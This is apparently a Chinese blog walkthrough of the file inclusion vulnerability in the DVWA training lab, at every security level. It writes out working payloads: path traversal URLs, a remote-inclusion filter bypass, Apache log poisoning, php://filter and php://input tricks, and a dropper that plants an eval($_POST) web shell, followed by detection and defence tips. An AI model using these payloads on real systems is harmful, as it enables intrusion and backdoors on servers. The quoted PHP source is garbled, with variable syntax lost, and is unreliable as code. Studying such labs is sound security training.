Low级别:

我们分别点击这几个file.php文件

DVWA亲测文件包含漏洞_PHP

 仅仅是配置参数的变化:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

如果我们随便写一个不存在的php文件,比如 :

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php

 

DVWA亲测文件包含漏洞_php_02

还爆出了路径错误

DVWA亲测文件包含漏洞_php_03

 

我们先来分析原始内容:

DVWA亲测文件包含漏洞_php_04

再来分析我们构造好的网址:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini

DVWA亲测文件包含漏洞_php_05

果然可以访问到正常的内容

 

我们再来尝试:

DVWA亲测文件包含漏洞_PHP_06

DVWA亲测文件包含漏洞_PHP_07

这表明了文件包含不仅仅能读文件,还能执行文件

 

当然,我们不能满足于此,我们甚至可以尝试从本地包含文件

 

我们在本地www目录下新建1.php   ————>  写入<?php phpinfo();?>

 

我们输入网址:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt

 

DVWA亲测文件包含漏洞_php_08

果然,外部包含文件成功,这样的话我们可以在1.php代码中写入恶意代码,拿到服务器的webshell

DVWA亲测文件包含漏洞_服务器_09

Medium级:

<?php
 
// The page we wish to display
file=_GET[ 'page' ];
 
// Input validation
file=strreplace(array("http://","https://"),"",file );
file=strreplace(array("../","..\""),"",file );
 
?>

DVWA亲测文件包含漏洞_服务器_10

DVWA亲测文件包含漏洞_PHP_11

DVWA亲测文件包含漏洞_php_12

就是将输入的url参数中包含的“http://”、“https://”,   ". . /"   ,   ". . \""等字符串替换成空的字符串,

即过滤了远程文件包含, 对于本地文件包含并没有任何过滤:

 

本地包含:

DVWA亲测文件包含漏洞_服务器_13

远程包含:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

DVWA亲测文件包含漏洞_服务器_14

High级:

<?php
 
// The page we wish to display
file=_GET[ 'page' ];
 
// Input validation
if( !fnmatch( "file*", file ) &&file != "include.php" ) 
{
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 
?>

DVWA亲测文件包含漏洞_PHP_15

我们输入:

DVWA亲测文件包含漏洞_PHP_16

Impossible级

<?php
 
// The page we wish to display
file=_GET[ 'page' ];
 
// Only allow include.php or file{1..3}.php
if( file != "include.php" &&file != "file1.php" && file != "file2.php" &&file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 
?>

源码只允许四个文件名,有效的放置了文件的包含漏洞

 

利用

1.读取敏感文件

如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的,前提是知道路径。

2.包含Apache文件

可以用nc向目标服务器发送一条内容为一句话木马的错误的指令,让其保存在目标服务器的access.log日志文件中,再通过本地文件包含的方式实现利用。但是测试时没有成功,因为MySQL用户权限不足,不能读取Apache的日志,这时需要提权操作。

这里简便地演示一下,就直接修改文件夹属主,先到/var/log目录下,然后输入命令:chown www-data:www-data apache2 -R

DVWA亲测文件包含漏洞_php_17

接着以向日志文件写入phpinfo为示例,注意一点是,不能直接在URL栏填写,因为一些字符会被URL编码而不能达到目的,要使用Burpsuite截断代理修改数据包来进行:

DVWA亲测文件包含漏洞_服务器_18

然后到Metasploitable2的Apache2的access.log文件中查看:

DVWA亲测文件包含漏洞_服务器_19

确实是存在于日志文件中了。

最后直接包含该access.log文件即可:

DVWA亲测文件包含漏洞_php_20

3.远程包含SHELL

以Medium级为背景,在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件,在Kali中通过以下命令启动Apache:

[plain] view plain copy

  1. service apache2 start  

然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件,从而实现利用。

这里注意的是,这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种,因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行,如下示例,a.php文件内容如上,但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的:

DVWA亲测文件包含漏洞_服务器_21

因而正确的姿势应该是,该木马文件实现将木马内容写入目标服务器中的1.txt文件,如:

<?php fputs(fopen("shell.php","w"), "<?php eval($_POST[aaa]);?>");?>

访问:

DVWA亲测文件包含漏洞_php_22

没有啥情况,接着到DVWA服务器查看吧:

DVWA亲测文件包含漏洞_服务器_23

存在后门PHP文件,没有问题。

这里示例以phpinfo测试:

DVWA亲测文件包含漏洞_PHP_24

4.配合文件上传漏洞

和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。

例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>

直接包含该文件会将该文件以PHP来运行:

DVWA亲测文件包含漏洞_php_25

5.使用PHP文件封装协议来读取和写入PHP文件

   1.读取文件

先看看读取文件,如输入page参数值为:php://filter/read=convert.base64-encode/resource=../../../../../var/www/dvwa/hackable/uploads/1.txt

访问,可以看到显示了base64编码的内容:

DVWA亲测文件包含漏洞_PHP_26

使用Burpsuite的Decode模块解码:

DVWA亲测文件包含漏洞_PHP_27

可以发现就是之前上传的示例文件内容。

2.写入文件

前提条件是allow_url_include为on,则构造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input

然后再POST需要输入的内容即可,这里通过Firefox的HackBar来POST数据:

DVWA亲测文件包含漏洞_服务器_28

可以看到输入的内容执行并返回了结果

6.检测方法

找到有包含函数的页面,对函数内容进行替换查看结果;

可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;

白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启

7.防御方法

1、严格判断包含中的参数是否外部可控。

2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。

5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文

 

 

作  者:bmjoker